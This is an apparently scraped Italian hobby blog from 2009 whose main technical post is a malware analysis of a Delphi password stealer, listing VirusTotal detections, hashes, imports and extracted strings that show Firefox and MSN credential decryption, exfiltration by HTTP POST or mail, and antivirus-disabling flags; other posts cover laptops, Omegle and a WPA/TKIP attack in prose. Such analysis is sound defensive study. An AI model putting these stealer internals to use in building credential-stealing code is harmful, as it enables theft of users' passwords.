[IMAGE_DIRECTORY_ENTRY_SECURITY]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_BASERELOC]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_DEBUG]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_COPYRIGHT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_GLOBALPTR]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_TLS]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_IAT]
VirtualAddress: 0xB000
Size: 0x54
[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_RESERVED]
VirtualAddress: 0x0
Size: 0x0

----------Version Information----------

[VS_VERSIONINFO]
Length: 0x220
ValueLength: 0x34
Type: 0x0

[VS_FIXEDFILEINFO]
Signature: 0xFEEF04BD
StrucVersion: 0x10000
FileVersionMS: 0x70008
FileVersionLS: 0x9
ProductVersionMS: 0x70008
ProductVersionLS: 0x9
FileFlagsMask: 0x3F
FileFlags: 0x0
FileOS: 0x40004
FileType: 0x1
FileSubtype: 0x0
FileDateMS: 0x0
FileDateLS: 0x0

[StringFileInfo]
Length: 0x17E
ValueLength: 0x0
Type: 0x1

[StringTable]
Length: 0x15A
ValueLength: 0x0
Type: 0x1
LangID: 040904b0

FileVersion: 7, 8, 0, 9
CompanyName: aplanir
Comments: powerboat
ProductName: marketing
ProductVersion: 7, 8, 0, 9
FileDescription: subsecuente

[VarFileInfo]
Length: 0x44
ValueLength: 0x0
Type: 0x1

[Var]
Length: 0x24
ValueLength: 0x4
Type: 0x0
Translation: 0x0409 0x04b0

----------Imported symbols----------

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk: 0x43604
Characteristics: 0x43604
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
ForwarderChain: 0x0
Name: 0x437AA
FirstThunk: 0xB000

KERNEL32.dll.lstrlenA Hint[959]
KERNEL32.dll.VirtualAlloc Hint[885]
KERNEL32.dll.GetCommandLineA Hint[264]
KERNEL32.dll.LeaveCriticalSection Hint[583]
KERNEL32.dll.GetCurrentProcessId Hint[315]
KERNEL32.dll.WaitForSingleObject Hint[901]
KERNEL32.dll.GetVersionExA Hint[479]
KERNEL32.dll.CreateFileA Hint[77]
KERNEL32.dll.SetEndOfFile Hint[773]
KERNEL32.dll.GetThreadLocale Hint[464]
KERNEL32.dll.ExitProcess Hint[175]
KERNEL32.dll.HeapDestroy Hint[522]
KERNEL32.dll.QueryPerformanceCounter Hint[665]
KERNEL32.dll.FreeLibrary Hint[239]
KERNEL32.dll.DeleteFileA Hint[124]
KERNEL32.dll.ReadFile Hint[683]
KERNEL32.dll.GetModuleHandleA Hint[375]
KERNEL32.dll.TlsFree Hint[855]
KERNEL32.dll.LCMapStringA Hint[570]
KERNEL32.dll.GetCurrentProcess Hint[314]

----------Resource directory----------

[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x2
Id: [0x6] (RT_STRING)
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x6
OffsetToData: 0x80000020
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x2
Id: [0x1]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x1
OffsetToData: 0x80000058
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x409
OffsetToData: 0xA0
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x442F0
Size: 0x700
CodePage: 0x0
Reserved: 0x0
Id: [0x2]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x2
OffsetToData: 0x80000070
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x409
OffsetToData: 0xB0
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x449F0
Size: 0x546
CodePage: 0x0
Reserved: 0x0

Id: [0x10] (RT_VERSION)
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x10
OffsetToData: 0x80000040
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
Id: [0x1]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x1
OffsetToData: 0x80000088
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
MajorVersion: 0x0
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x409
OffsetToData: 0xC0
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x440D0
Size: 0x220
CodePage: 0x0
Reserved: 0x0

Comparazione AV

2009-09-25T08:45:00.000-07:00

Falsi positivi:

Virus non trovati (più la percentuale è bassa e più Virus sono stati rilevati correttamente):

Reverse Engineering su Linux

2009-09-25T05:39:00.000-07:00

Qualche giorno fa stavo scrivendo su Skype con un mio amico e mi fa:" Guarda questo blog sicuramente ti piacerà è di un ragazzo che fa RE (reverse engineering)" io ci guardo un pò e gli dico : " ma è su windows!" e lui mi risponde :" be come vuoi fare Reverse Engineering ???"

...

Per questo Report ho utilizzato sia ida pro per Debian/GnuLinux che Qemu Zero-wine per Debian/GnuLinux

MD5 Sum: ddafe247beef63ccb926fbf8f69743fa

Visto da Virustotal.com:


Antivirus   Version   Last Update   Result
a-squared 4.5.0.24 2009.09.25 Trojan-PWS.Win32.Stealer!IK
AhnLab-V3 5.0.0.2 2009.09.24 Win-Trojan/Stealer.61952
AntiVir 7.9.1.25 2009.09.25 TR/Agent.61952
Antiy-AVL 2.0.3.7 2009.09.25 Trojan/Win32.Stealer.gen
Authentium 5.1.2.4 2009.09.25 -
Avast 4.8.1351.0 2009.09.24 -
AVG 8.5.0.412 2009.09.25 Generic13.BYDC
BitDefender 7.2 2009.09.25 Trojan.Generic.2463633
CAT-QuickHeal 10.00 2009.09.25 -
ClamAV 0.94.1 2009.09.25 Trojan.Spy-64234
Comodo 2432 2009.09.25 TrojWare.Win32.PSW.Delf.~B
DrWeb 5.0.0.12182 2009.09.25 -
eSafe 7.0.17.0 2009.09.24 -
eTrust-Vet 31.6.6760 2009.09.25 -
F-Prot 4.5.1.85 2009.09.24 -
F-Secure 8.0.14470.0 2009.09.25 Trojan-PSW.Win32.Stealer.w
Fortinet 3.120.0.0 2009.09.25 W32/Stealer.W!tr.pws
GData 19 2009.09.25 Trojan.Generic.2463633
Ikarus T3.1.1.72.0 2009.09.25 Trojan-PWS.Win32.Stealer
Jiangmin 11.0.800 2009.09.25 Trojan/PSW.Stealer.bn
K7AntiVirus 7.10.853 2009.09.24 -
Kaspersky 7.0.0.125 2009.09.25 Trojan-PSW.Win32.Stealer.w
McAfee 5751 2009.09.24 -
McAfee+Artemis 5751 2009.09.24 -
McAfee-GW-Edition 6.8.5 2009.09.25 Heuristic.LooksLike.Win32.PasswordStealer.H
Microsoft 1.5005 2009.09.23 -
NOD32 4456 2009.09.25 Win32/PSW.Delf.NSI
Norman 6.01.09 2009.09.24 -
nProtect 2009.1.8.0 2009.09.25 Trojan-PWS/W32.Agent.62464.C
Panda 10.0.2.2 2009.09.24 Trj/AOLPS.UB
PCTools 4.4.2.0 2009.09.25 -
Prevx 3.0 2009.09.25 -
Rising 21.48.43.00 2009.09.25 -
Sophos 4.45.0 2009.09.25 Troj/PWS-BEG
Sunbelt 3.2.1858.2 2009.09.24 -
Symantec 1.4.4.12 2009.09.25 -
TheHacker 6.5.0.2.017 2009.09.24 -
TrendMicro 8.950.0.1094 2009.09.25 -
VBA32 3.12.10.11 2009.09.25 Trojan-PSW.Win32.Stealer.w
ViRobot 2009.9.25.1956 2009.09.25 -
VirusBuster 4.6.5.0 2009.09.24 -
Additional information
File size: 62464 bytes
MD5...: ddafe247beef63ccb926fbf8f69743fa
SHA1..: fd13aa01f63ec5ab53b8dc79ad8acf6ab929328d
SHA256: 4384cee81b789e08c0ffb8911537020205f1de2f15ee683700dc558b1e433ade
ssdeep: 1536:HGIy8OgkxGVZ0QexBwNeEgm0dh/kkvZ9/9x:HGIy8rV3enFEYIU/9x
PEiD..: -
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0xc134
timedatestamp.....: 0x2a425e19 (Fri Jun 19 22:22:17 1992)
machinetype.......: 0x14c (I386)

( 9 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0xa76c 0xa800 6.55 a1e897ffbf736747891241d5bcb92c62
.itext 0xc000 0xfd8 0x1000 5.83 096f208a28c87836ee442ac54ecde283
.data 0xd000 0xaf8 0xc00 1.99 dc14823419ba6a245f722b673d59601b
.bss 0xe000 0x3804 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
.idata 0x12000 0xb9e 0xc00 4.84 bba371f3713ddeb9be7ba133b2e7c278
.tls 0x13000 0x8 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
.rdata 0x14000 0x18 0x200 0.21 837fbcb55aef26898bcc1cf60d98712a
.reloc 0x15000 0xe6c 0x1000 6.36 1f6a3d5d729113c1c56409d79e5465c4
.rsrc 0x16000 0xd54 0xe00 3.63 f6771ce6bb2b37a7fc0fa79cbdfe3727

( 10 imports )
> oleaut32.dll: SysFreeString, SysReAllocStringLen, SysAllocStringLen
> advapi32.dll: RegQueryValueExA, RegOpenKeyExA, RegCloseKey
> user32.dll: GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
> kernel32.dll: GetACP, Sleep, VirtualFree, VirtualAlloc, GetTickCount, QueryPerformanceCounter, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
> kernel32.dll: TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
> user32.dll: TranslateMessage, MessageBoxA, LoadStringA, GetSystemMetrics, DispatchMessageA, CharNextA, CharToOemA
> kernel32.dll: WriteFile, VirtualQuery, Sleep, SizeofResource, ReadFile, LockResource, LoadResource, LoadLibraryA, GetVersionExA, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetFileSize, GetFileAttributesA, GetEnvironmentVariableA, GetDiskFreeSpaceA, GetCurrentProcess, GetComputerNameA, GetCPInfo, FreeLibrary, FindResourceA, EnumCalendarInfoA, DeleteFileA, CreateFileA, CloseHandle
> advapi32.dll: RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, GetUserNameA
> advapi32.dll: CredEnumerateA
> wsock32.dll: WSACleanup, WSAStartup, gethostbyname, socket, send, inet_ntoa, inet_addr, htons, connect, closesocket

( 0 exports )
RDS...: NSRL Reference Data Set
-
pdfid.: -
trid..: Win32 Executable Generic (38.4%)
Win32 Dynamic Link Library (generic) (34.1%)
Win16/32 Executable Delphi generic (9.3%)
Generic Win/DOS Executable (9.0%)
DOS Executable Generic (9.0%)
ThreatExpert info: http://www.threatexpert.com/report.aspx?md5=ddafe247beef63ccb926fbf8f69743fa
sigcheck:
publisher....: n/a
copyright....: n/a
product......: n/a
description..: n/a
original name: n/a
internal name: n/a
file version.: n/a
comments.....: n/a
signers......: -
signing date.: -
verified.....: Unsigned

Vediamolo un pò più in dettaglio

Il programma è fatto in Delphi

FastMM Borland Edition
2004, 2005 Pierre le Riche / Professional Software Development

Il virus cerca di prendere le password di firefox e msn

SOFTWARE\
Mozilla
Firefox
CurrentVersion
\Main
Install Directory
PSWV
ZYYd
nspr4.dll
plc4.dll
plds4.dll
mozcrt19.dll
sqlite3.dll
nssutil3.dll
softokn3.dll
nss3.dll
NSS_Init
NSSBase64_DecodeBuffer
PK11_GetInternalKeySlot
PK11_Authenticate
PK11SDR_Decrypt
NSS_Shutdown
PK11_FreeSlot
APPDATA
\Mozilla\Firefox\profiles.ini
Path
Profile0
\Mozilla\Firefox\
--------------------
--------------------
(unnamed value)
PK11_Authenticate Failed!
PK11_GetInternalKeySlot Failed!
NSS_Init Failed!

decifrandole per poi collegarsi a un host remoto

SVW3
ZYYd
ZYYd
ZYYd
http
ZYYd
ZYYd
QSVW
$ZXw
ZYYd
ZYYd
ZYYd
HOST
3bkdhkvT5gQ
USER
PASS
LINK
si spedisce anche per mail
MAIL
ANTI1
TRUE

parti di sript per disabilitare antivirus

ANTI2
ANTI3
ANTI4
ANTI5
ANTI6
ANTI7
ANTI8
ANTI9
ANTI10
ANTI11
ANTI12
ANTI13
ANTI14
ANTI15

cercando di inviarle e formattando le password sia di msn che di firefox

--------------------
---------MSN--------
WindowsLive:name=*
Email:
Password:
FIREFOX
-------FIREFOX------
update
Crea il file c:/pass.txt
/pass.
.txt
MAILACTIVE
mail=
&message=
POST /
HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:
Host:
Accept: text/html

e si conclude il processo

Entry point: 0000C134
Found OEP: 0040A688

Qua potete vedere il dump del file

Code:


00000667:  Professional Software Development
00001C7E: Unknown String
00001CDA: Unexpected Memory Leak
00002E80: RTL FPUMaskValue
00004B08: GetLongPathNameA
00004D54: Locales
00004D77: Locales
0000737C: ggg yyyy
000086EF: GetDiskFreeSpaceExA
00008CE4: CreateToolhelp32Snapshot
00008D06: Heap32ListFirst Heap32ListNext
00008D1E: Heap32First Heap32Next
00008D4A: Toolhelp32ReadProcessMemory Process32First
00008D59: Process32Next
00008D7A: Process32FirstW Process32NextW
00008D89: Thread32First
00008D98: Thread32Next
00008DA9: Module32First
00008DB8: Module32Next
00008DCA: Module32FirstW
00008DD9: Module32NextW
000091B1: IsDebuggerPresent
00009573: InsideTm
000095C4: username
0000968B: currentuser
0000969F: CurrentUser
00009D7B: Mozilla
00009D8B: Firefox
00009DBA: CurrentVersion
00009DE5: Install Directory
0000A586: DecodeBuffer
0000A59F: GetInternalKeySlot
0000A5B1: Authenticate
0000A5C3: Decrypt
0000A5D0: Shutdown
0000A5E1: FreeSlot
0000A5EB: APPDATA
0000A628: Profile0
0000A986: j j j j
0000B8A4: 3bkdhkvT5gQ USER
0000B8B8: DIR LINK
0000B922: ANTI10
0000B92A: ANTI11
0000B932: ANTI12
0000B93A: ANTI13
0000B942: ANTI14
0000B94A: ANTI15
0000B9E3: FIREFOX
0000BAAE: u update
0000BAE6: MAILACTIVE
0000BB55:  close
0000BB8F: urlencoded
0000C375: Runtime error     at 00000000
0000CC91: SysFreeString
0000CCA7: SysReAllocStringLen
0000CCBB: SysAllocStringLen
0000CCDC: RegQueryValueExA
0000CCED: RegOpenKeyExA
0000CCFB: RegCloseKey
0000CD19: GetKeyboardType
0000CD29: DestroyWindow
0000CD37: LoadStringA
0000CD45: MessageBoxA
0000CD51: CharNextA
0000CD68: GetACP
0000CD7F: VirtualFree
0000CD8E: VirtualAlloc
0000CD9E: GetTickCount
0000CDB9: QueryPerformanceCounter
0000CDCE: GetCurrentThreadId
0000CDDE: VirtualQuery
0000CDF5: WideCharToMultiByte
0000CE0B: MultiByteToWideChar
0000CE16: lstrlenA
0000CE23: lstrcpynA
0000CE34: LoadLibraryExA
0000CE47: GetThreadLocale
0000CE59: GetStartupInfoA
0000CE6A: GetProcAddress
0000CE7E: GetModuleHandleA
0000CE94: GetModuleFileNameA
0000CEA6: GetLocaleInfoA
0000CEB6: GetLastError
0000CEC9: GetCommandLineA
0000CED7: FreeLibrary
0000CEE8: FindFirstFileA
0000CEF5: FindClose
0000CF03: ExitProcess
0000CF0F: WriteFile
0000CF2A: UnhandledExceptionFilter
0000CF3C: SetFilePointer
0000CF4C: SetEndOfFile
0000CF59: RtlUnwind
0000CF64: ReadFile
0000CF76: RaiseException
0000CF86: GetStdHandle
0000CF95: GetFileSize
0000CFA3: GetFileType
0000CFB1: CreateFileA
0000CFBF: CloseHandle
0000CFDB: TlsSetValue
0000CFE9: TlsGetValue
0000CFF6: LocalAlloc
0000D00A: GetModuleHandleA
0000D02A: TranslateMessage
0000D039: MessageBoxA
0000D047: LoadStringA
0000D05A: GetSystemMetrics
0000D06E: DispatchMessageA
0000D07B: CharNextA
0000D088: CharToOemA
0000D0A3: WriteFile
0000D0B2: VirtualQuery
0000D0CC: SizeofResource
0000D0D8: ReadFile
0000D0E8: LockResource
0000D0F8: LoadResource
0000D108: LoadLibraryA
0000D119: GetVersionExA
0000D128: GetTickCount
0000D13B: GetThreadLocale
0000D14A: GetStdHandle
0000D15C: GetProcAddress
0000D178: GetPrivateProfileStringA
0000D18C: GetModuleHandleA
0000D1A2: GetModuleFileNameA
0000D1B4: GetLocaleInfoA
0000D1C3: GetFileSize
0000D1D8: GetFileAttributesA
0000D1F3: GetEnvironmentVariableA
0000D207: GetDiskFreeSpaceA
0000D21B: GetCurrentProcess
0000D22E: GetComputerNameA
0000D23B: GetCPInfo
0000D249: FreeLibrary
0000D259: FindResourceA
0000D26D: EnumCalendarInfoA
0000D27B: DeleteFileA
0000D289: CreateFileA
0000D297: CloseHandle
0000D2B8: RegQueryValueExA
0000D2C9: RegOpenKeyExA
0000D2D7: RegCloseKey
0000D2EA: OpenProcessToken
0000D2FA: GetUserNameA
0000D31A: CredEnumerateA
0000D334: WSACleanup
0000D342: WSAStartup
0000D353: gethostbyname
0000D35C: socket
0000D38F: connect
0000D39D: closesocket
0000E168: 7 74787h7
0000E88D: D V C L A L
0000E89D: F I R E F O X
0000E8AF: H O S T
0000E8C7: P A C K A G E I N F O
0000E8D1: P A S S
0000E8DB: U S E R
0000E8ED: N o v e m b e r
0000E8FF: D e c e m b e r
0000E945: S u n d a y
0000E953: M o n d a y
0000E963: T u e s d a y
0000E977: W e d n e s d a y
0000E989: T h u r s d a y
0000E997: F r i d a y
0000E9A9: S a t u r d a y
0000E9EB: J a n u a r y
0000E9FD: F e b r u a r y
0000EA09: M a r c h
0000EA15: A p r i l
0000EA27: J u n e
0000EA31: J u l y
0000EA3F: A u g u s t
0000EA53: S e p t e m b e r
0000EA63: O c t o b e r
0000EA73: I n v a l i d
0000EA83: v a r i a n t
0000EA8D: t y p e
0000EAA3: c o n v e r s i o n
0000EAB3: I n v a l i d
0000EAC3: v a r i a n t
0000EAD7: o p e r a t i o n
0000EAE7: I n v a l i d
0000EAF9: a r g u m e n t
0000EB0B: E x t e r n a l
0000EB1F: e x c e p t i o n
0000EB39: A s s e r t i o n
0000EB47: f a i l e d
0000EB5B: I n t e r f a c e
0000EB77: s u p p o r t e d
0000EB8B: E x c e p t i o n
0000EBA3: s a f e c a l l
0000EBB1: m e t h o d
0000EBCB: l i n e
0000EBE5: A b s t r a c t
0000EBF1: E r r o r
0000EBFF: A c c e s s
0000EC13: v i o l a t i o n
0000EC29: a d d r e s s
0000EC43: m o d u l e
0000EC6B: a d d r e s s
0000ECB3: I n v a l i d
0000ECC3: p o i n t e r
0000ECD7: o p e r a t i o n
0000ECE7: I n v a l i d
0000ECF3: c l a s s
0000ED13: t y p e c a s t 0 A c c e s s
0000ED27: v i o l a t i o n
0000ED3D: a d d r e s s
0000ED61: a d d r e s s
0000ED75: A c c e s s
0000ED89: v i o l a t i o n
0000ED95: S t a c k
0000EDA7: o v e r f l o w
0000EDB7: C o n t r o l
0000EDD9: P r i v i l e g e d
0000EDF1: i n s t r u c t i o n
0000EE05: E x c e p t i o n
0000EE1F: m o d u l e
0000EE5B: A p p l i c a t i o n
0000EE75: E r r o r 1 F o r m a t
0000EE8F: i n v a l i d
0000EEAF: i n c o m p a t i b l e
0000EEB9: w i t h
0000EECB: a r g u m e n t
0000EEE3: a r g u m e n t
0000EEF9: f o r m a t
0000EF13: V a r i a n t
0000EF21: m e t h o d
0000EF2D: c a l l s
0000EF49: s u p p o r t e d
0000EF53: R e a d
0000EF5F: W r i t e
0000EF6B: E r r o r
0000EF7D: c r e a t i n g
0000EF8D: v a r i a n t
0000EF9D: s a f e
0000EFA9: a r r a y
0000EFB9: V a r i a n t
0000EFC9: s a f e
0000EFD5: a r r a y
0000EFE1: i n d e x
0000EFFD: b o u n d s
0000F01B: m e m o r y
0000F02F: e r r o r
0000F03F: F i l e
0000F053: f o u n d
0000F063: I n v a l i d
0000F075: f i l e n a m e
0000F087: m a n y
0000F091: o p e n
0000F09D: f i l e s
0000F0A7: F i l e
0000F0B5: a c c e s s
0000F0C3: d e n i e d
0000F0CD: R e a d
0000F0DB: b e y o n d
0000F0F3: f i l e
0000F0FD: D i s k
0000F107: f u l l
0000F117: I n v a l i d
0000F127: n u m e r i c
0000F133: i n p u t
0000F145: D i v i s i o n
0000F155: z e r o
0000F161: R a n g e
0000F16D: c h e c k
0000F179: e r r o r
0000F189: I n t e g e r
0000F19B: o v e r f l o w
0000F1AB: I n v a l i d
0000F1BD: f l o a t i n g
0000F1C9: p o i n t
0000F1DD: o p e r a t i o n
0000F1EF: F l o a t i n g
0000F1FB: p o i n t
0000F20D: d i v i s i o n
0000F21D: z e r o
0000F22F: F l o a t i n g
0000F23B: p o i n t
0000F24D: o v e r f l o w
0000F25F: F l o a t i n g
0000F26B: p o i n t
0000F27F: u n d e r f l o w
0000F2CA: lightstealer
0000F2D4: WinSock
0000F2DE: KWindows
0000F2E6: UTypes
0000F2F0: SysInit
0000F2F9: System
0000F30B: TlHelp32
0000F316: CryptApi
0000F320: WinInet
0000F32B: SysUtils
0000F336: ImageHlp
0000F341: SysConst
0000F341: SysConst

Omegle

2009-09-25T01:53:00.000-07:00

Chatta con lo sconosciuto

Stavo girando sul blog di XKCD (per cercare un sistema per implementare le vignette su questo blog) mentre attendo di finire l installazione di XEN (si perchè ancora non è finita -.-') per fare analisi di malware che poi a tempo dovuto posterò e mi è finito l occhio su questo sito web...

Si chiama Omegle non ho guardato per cosa stia il titolo ma l'idea è molto divertente. Appare come una normalissima chat ma in realtà non si sa con chi si stia conversando perchè tu appari come you e lo sconosciuto come stranger.

Se la persona con cui parli non ti interessa puoi benissimo premere disconnetti e passare a un altra.

Sembra un pò il concetto dei speed dating basato sul presupposto che la prima impressione è quella che conta.

Il modo per affrontarli è facendosi una lista di cose che ci interessebere chiedere all'altra persona anche molto personali, (per esempio che libri ti piaciono leggere ?) per riuscire a capire nel minor tempo possibile la persona che hai di fronte. Purtroppo qua non c'è la parte olfattiva e visiva ma si potrebbe in futuro implementare la videoconferenza con sconosciuti.

GDIUM LIBERTY 1000

2009-09-22T07:08:00.000-07:00

LCD screen 10"
Resolution 1024 x 600
Mandriva G-Linux
CPU 900 Mhz 64bits Loongson™ 2F by STMicroelectronics
RAM 512MB DDR2
Removable storage 16GB Flash G-Key
WIFI 802.11 b/g
3 USB 2.0 ports (one used for the GKEY)
SD/ SD HC card reader
One VGA output
Sound card
Video card Silicon Motion SM502, 16 MB RAM
Ethernet RJ45 - 10/100Mbs LAN
Speakers / microphone
Webcam
Extended keyboard
Up to 4 hour autonomy
Dimensions 250 x 182 x 32mm (1.2kg)

Per ora so solo che utilizza lo stesso processore del Yeeloong e che potete comprarlo qui a 199€

Ce ne sono solo ancora 2 disponibili !
Io purtroppo di soldi non ne ho altrimenti l'avrei gia comprato :/
Comunque se qualcuno lo compra spero mi invii almeno una recensione da pubblicare :)

Non so però se sia completamente privo da non-free software come il Yeeloong

Offensive Security's "Metasploit Unleashed"

2009-09-22T06:38:00.000-07:00

Quelli della Offensive Security hanno rilasciato il corso sui Metasploit ed è gratuito e visibile online da tutti a questo link

Fare breccia in 60 secondi in un punto d'accesso protetto da WPA

2009-09-22T03:05:00.000-07:00

I nerd delle comunicazioni n 60 secondi si può penetrare in un qualsiasi punto d'accesso che utilizza una cifrazione WPA.
La tecnica sviluppata da Toshihiro Ohigashi della Università di Hiroshima e Masakatu Morii della Università di Kobe è basata sul metodo Becks-tews (la versione dell'attacco chopchop per WEP), che consiste nel fare piccoli cambiamenti ai pacchetti criptati con TKIP - Temporal Key Integrity Protocol, un meccanismo di sicurezza delle WPA - e poi rispedirli indietro.

Comunque perchè questo metodo sia efficace bisogna aspettare anche più di 15 minuti.

In un manuale recente, Ohigashi and Morii propongono di utilizzare l'attacco Becks-tews in congiunta con l'attacco man-in-the-middle - nell quale la comunicazione viene intercettata dall'attaccante.
Un problema è che il rischio di venire scoperti è molto alto, per cui riuscire a ridurre l'attacco sotto il minuto è un grande vantaggio.
La technica è stata divulgata a una conferenza in Hiroshima,Giappone il mese scorso.

Il primo portatile completamente Open Source

2009-09-18T06:11:00.000-07:00

Il primo portatile completamente Open Source, prodotto dalla Lemote Tech Co.
Una piccolissima azienda cinese che cerca di farsi strada nel business dei computer.

Il design non è dei più accativanti, il packaging lascia un pò a desiderare, il software installato sembra messo a caso per far appesantire il portatile...
Allora cos'è che ha portato cosi tanta gente a interessarsi a questa azienda e ad avere richieste anche da europa e america?
Il fatto che è la prima azienda a rilasciare un portatile completamente privo da non-free software.
Detiene comunque ottime prestazioni e un prezzo accessibile (390€ comprese di spese di spedizione, tasse e borsa per il trasporto da questo sito http://www.tekmote.nl/ )

Questo è il sistema operativo di cui è in dotazione quando arriva

a confronto con un eeepc

con Debian installato !

Components	Spec	notes
CPU	STLS 2F(Loongson 2F) 900MHz, with integrated DDR2 controller and PCI controller
Chipset	Northbridge: integrated in CPU Southbridge: AMD CS5536 Graphics: SMI712 Network: Rtl8139 + RTL8187B(wifi) Camera: 300K pixel SD: Realtek RTS5158E
Memory	SO-DIMM DDR2 512MB/1GB	optional
Storage	160GB 2.5' HDD or 2GB/4GB SSD	optional
Panel	8.9” TFT LCD 1024x600
Extension	USB wifi	optional
Interfaces	USB2.0x3, earphone+ MIC, SDx1, RJ45x1, VGAx1, DC-inx1
Power	<12watt>
Enclosure	PC+ABS+IMR A/C
Size	98x45x28.5mm
Keyboard	80key 23.8mm
Weight	~1Kg	Exclude external parts
OS	Debian Linux + Lemote Education suites	Others includes: Mandriva, Sunwah, Slackware, Gentoo etc.

(foto da cinnamonpirate)

Litizzetto Vs Windows

2009-09-18T06:09:00.000-07:00

La litizzetto esprime il suo odio per i computer ed in particolare per le domande indesiderate e gli errori irreversibili di windows

Non ho pagato per Windows

2009-09-18T02:07:00.000-07:00

Probabilmente ti stai dicendo: " oh, non ho mica pagato per avere Windows".
Ne sei veramente sicuro ?
Se il tuo computer aveva gia installato una copia di Windows, allora l' hai pagato, anche se il negozio dove l'hai comprato non ti ha detto nulla a proposito.
Il prezzo della licenza di windows è circa 1/4 del prezzo del tuo computer!
Anche se installi Windows illegalmente ma il tuo computer ha uno sticker simile:

Significa che comunque Windows l hai pagato! Da dove pensavi che la Microsoft si prendesse i soldi ??

Linux invece è completamente gratuito. Tutte quelle persone che lavorano nel mondo che lavorano duro per renderlo pulito, sicuro, efficente, con una buona interfaccia grafica e danno tutto il loro lavoro free. Di sicure alcune compagnie fanno soldi vendendo il supporto, la documentazione, l aiuto telefonico e online per le propie versioni di linux, e questa è sicuramente una cosa migliore. Perchè ameno che tu non sia una grande azienda che paga per farsi gestire i propri server che devono essere sempre attivi e funzionanti, da linux puoi oltretutto imparare a gestirti il computer come vuoi tu con infinite possibilità e programmi e nel momento in cui appare qualche problema puoi imparare da solo a risolverlo perchè è un ottimo sistema di apprendimento e non pagherai mai un centesimo!

Hacker Code

2009-09-17T09:41:00.000-07:00

Questo è Hacker Code. Simile al Geek Code ma più corto e fatto per essere messo alla fine del nick su IRC o altri social media.

L'Utilizzo è semplice. qua sotto ci sono i codici con i propri valori.
Con il primo carattere scegli chi sei black hat, white hat, grey hat o indeciso.
Questo carattere deve venire messo in minuscolo. Nel secondo carattere scegli il tuo OS preferito.
Questo va in maiuscolo. Per la terza lettera scegli la tua specialità. In altre parole in cosa riesci meglio! Questa lettera andrà in minuscolo. Aggiungi una barra tra la fine del nome e il codice.

Esempi:

-wXd- Typical whitehat, windows xp, leech. aka noob.
-gLn- Greyhat, Linux, network hacker.
